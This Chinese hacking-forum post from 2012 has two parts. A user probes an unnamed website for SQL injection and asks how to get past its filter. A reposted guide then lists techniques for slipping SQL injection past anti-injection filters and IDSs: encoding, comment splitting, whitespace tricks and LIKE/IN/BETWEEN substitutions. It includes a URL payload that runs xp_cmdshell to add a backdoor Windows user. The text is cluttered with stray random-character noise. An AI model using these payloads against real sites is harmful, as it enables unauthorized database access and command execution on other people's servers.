找回密码
 立即注册
查看: 2483|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.! F2 b' y9 w' b- T4 {
http://www.xxx.cn/Article.asp?ID=117 and 1=1/ N6 y  t) Z- T) @0 ?' X; {, O
直接返回主页4 B, w2 k) w# r4 t5 k! s& O; I& z
http://www.xxx.cn/Article.asp?ID=117 or 1=1
: o0 q/ B% m& S- j! K  F( V直接返回主页* f3 L6 }3 M# e; L, b
http://www.xxx.cn/Article.asp?ID=117 or. H# [8 y  \$ p1 @8 i4 U0 z
没有返回主页 没有过滤or& z& j7 Q' Z  n3 M% ^( A
http://www.xxx.cn/Article.asp?ID=117 and# [8 _  J/ }' ]
直接返回主页 看来过滤了and
- h5 m8 j8 q) c5 k; F" D; E' Ohttp://www.xxx.cn/Article.asp?ID=117 or 1% X9 X' j, P. U& n+ @" i
没有返回主页 即没有过滤or 也没有过滤1
1 `. }6 `/ l2 N/ U+ whttp://www.xxx.cn/Article.asp?ID=117 or 1=10 j; ]3 y& B! ]0 W  l* h
直接返回主页 很明显过滤了等号 3 B4 K0 n. w# t( f
or的特性是与and相反的.
  u9 a1 G) z  B6 \or 1=1 爆错 或与原页面不同: ?& |  ]* r" l3 |# O  T
or 1=2 原页面相同
) O: D2 l$ V# k& t( A/ B, J, B4 C这样就是一个注入点' d% R" g. e  C7 _. X
但他过滤了=号 我就用><号代替=号吧!0 R' B6 O$ C; r
or 1<2 很明显是正确的,所以应该与原页面不同" `1 Y- s( m2 @  E5 G- T0 d4 W1 v
or 1>2 很明显是错误的,所以应该与原页面相同- B) Y5 M( v: h. b% k
然后看看有没有过滤其他的查询语句,比如select.
  j; U5 o1 b4 k1 m, W, W$ ]% I: Vhttp://www.xxx.cn/Article.asp?ID=117 select) Z) t  @& S6 q6 c3 x6 V9 A
直接返回主页" x9 z2 L2 G, X7 T
又迷茫了..
  l6 a/ P1 t  L$ O$ @6 Z
: Y, K; N. X6 M5 X4 s$ N, r8 r. ?" n3 k2 ], L
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
( T# J( V0 X* J* o0 `7 R) N  G这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)6 n6 x, d4 g* D% @6 `
================================================% N/ A0 f0 ?5 E" u1 Q- b
以下是转贴:
/ O2 Z, i; m4 ]1 K5 K; y, i( `# X' ^$ Q5 n2 [
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
: j" `% t; T. @- }; C! K& _6 L* X经过我的收集,大部分的防注入程序都过滤了以下关键字: 8 x# |' n. Q3 E8 _% _" N8 ?2 U3 l
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = + K$ Z. s4 O3 m+ E2 ^& A
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
) Q) i3 P, w& v5 G+ w2 s  c对于关键字的过滤,以下是我收集的以及我个人的一些想法。 1 \, O8 U9 v- z
1、运用编码技术绕过
6 a! `. x/ ^1 o  X% N+ {如URLEncode编码,ASCII编码绕过。例如or 1=1即 $ f4 G+ j% r7 Z
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 2 `$ N' A. _+ n, I  Z) Y+ X' z0 j
; D& T: r1 X  m6 }7 g* H% }
2、通过空格绕过 % Q8 d6 O& I* s& i% T. ^, i
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ) ]$ M& g6 @. H: Z% \
or’ swords’ =‘swords’
1 J1 Q& g9 @: p& G& b,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 - C9 x" h9 k: f6 g! x
3、运用字符串判断代替
% \' }* E9 G0 s- o, k用经典的or 1=1判断绕过,如 , i8 B" K. X' ^7 |
or ’swords’ =’swords’ 5 e8 U1 j' E  I
,这个方法就是网上在讨论的。 9 W& s# ~* u! a0 z8 ^
4、通过类型转换修饰符N绕过
/ g" `3 F6 F/ `- {可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
% a! O& L4 J) i- y5、通过+号拆解字符串绕过
' w! M: G& v; _4 D' g3 h( P效果值得考证,但毕竟是一种方法。如 0 s3 n; g% i. V, k  M
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
+ I6 b/ M: D5 b. n! F/ @0 p" t- S0 H$ a/ V% r: C  @/ V; ~/ e
6、通过LIKE绕过 ) b# y8 y1 v9 U1 Q
以前怎么就没想到呢?如or 9 [# H4 x  d$ F8 {3 [
’swords’ LIKE ’sw’
( R$ h3 J# }( |  r+ S6 R!!!显然可以很轻松的绕过
7 I0 h% X% {3 v$ j3 ~0 \+ ]" I“=”“>”
" H: I8 q# @" K3 v的限制……
& d- l1 i5 l4 K* Q1 D5 G7 u2 l7、通过IN绕过 ) M! W0 f, Q, p7 V: n% W7 k
与上面的LIKE的思路差不多,如 $ i4 \5 X' H! v" P2 e9 A- C
or ’swords’ IN (’swords’)
; e+ z3 T, r$ B/ H  s) |# ]5 c/ [# a# m9 |0 w
8、通过BETWEEN绕过 - S8 g. r3 R' A+ g* v9 z2 R$ y* z

) B( N9 `; g( {* o/ Bor ’swords’ BETWEEN ’rw’ AND ’tw’ ! b. J3 J& o% M1 J1 h) L

, r  C5 V; r+ h+ d, A9、通过>或者<绕过
$ B6 I. Y7 _# L4 Y& A' uor ’swords’ > ’sw’ : S1 `7 G) P7 J
or ’swords’ < ’tw’ + G3 G) Y* G: b$ h& i+ C; E
or 1<3 - w; a& H. y, _" `( Q
……
1 [8 s* B; E6 a: S10、运用注释语句绕过 4 j3 K# n2 S, Z+ R! X
用/**/代替空格,如: ' L2 U) o8 O% ~  ~6 W/ B7 m7 [$ h
UNION /**/ Select /**/user,pwd,from tbluser ; a3 T; W% J0 w) H, B, R+ [6 C

9 l# {( s( b+ Q, U3 U用/**/分割敏感词,如: & o3 f$ [; Z5 x8 p
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 5 ]9 a: F" Q5 @, ?

0 `1 Z4 Y. n& |# j% [2 k11、用HEX绕过,一般的IDS都无法检测出来
( i5 P, ]. H3 o+ K6 u& o0x730079007300610064006D0069006E00 =hex(sysadmin) 4 o4 i' ?) O% b! ^2 Y4 E
0x640062005F006F0077006E0065007200 =hex(db_owner)
! u& k' k  s/ p另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 1 z. X' C+ t$ z! |0 S+ J1 K
  declare @a sysname 5 D+ P# U; f( n  f. Y3 M
  select @a= 0 j( p8 x: h& a) T" y
  exec master.dbo.xp_cmdshell @a ; [6 ^+ N2 Y, i, n: D4 j
效果 , [( S$ c" Q. ]* R
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
. S+ N: i5 ?' O/ p; z8 @" p0 P0 z- Q! i9 R! s0 V+ {; Z
其中的   b( e. i' C8 `0 _7 q* a0 x# c, {  R
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
( [$ l% ?4 M) S% L+ I就是 ( [2 a+ M- S0 i: G: ~) h. c8 o
“net user angel pass /add”
" _* ^* o6 W; t; W, Q+ `* `& I6 |2 V6 W0 y" I
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。+ @% p# c# @7 i! g# O
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
" k' `7 t/ d7 V* W另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
  u9 G" }' \  WCopy code
; b- ~% ^- j, P2 Z! sselect * from table exec xp_cmdshell'xxxxxxxxxx'6 ^; E: l; @" u0 K4 T

, }' e1 ^1 @% I' Z# c; r: ?& X' k# X  @% q9 ]
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'& ^3 d& d1 E9 }9 `
5 p. N! R/ n9 X; U. q* n  ?

* h& g7 J1 Y& k% l8 J8 Vselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'* y. J$ P/ O- F9 y- @

- E2 L2 o" E1 a+ U; h- Y, L( l1 t" X; f4 L5 p7 ~* P3 F
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx', g, W1 |6 }  B  w

* r1 L8 B" S9 O# ?; B1 U的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
4 }( F4 v+ T+ z2 n
. z* b& K+ P8 I/ @9 p& i这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
& e% A" Q0 _- T, O, `% f- H( a. h; @可能大家早就知道了,不管怎么说,发在这里吧!7 v, h: h7 V1 h2 l9 f

8 o5 |5 \9 [8 R+ V/ n1 L" \  Q最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。- C7 N0 B7 U( `( [0 @

$ S  l6 W5 g8 J% H1 d2 @1 H$ L2 j2 J# g0 A4 ]5 A
* I+ P; S# i2 P! a4 `
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
% H3 u4 V) O7 L7 N, G' |比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 7 u, O2 Q2 E1 g2 c

& o2 s9 d7 u: I2 Q9 m+ d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表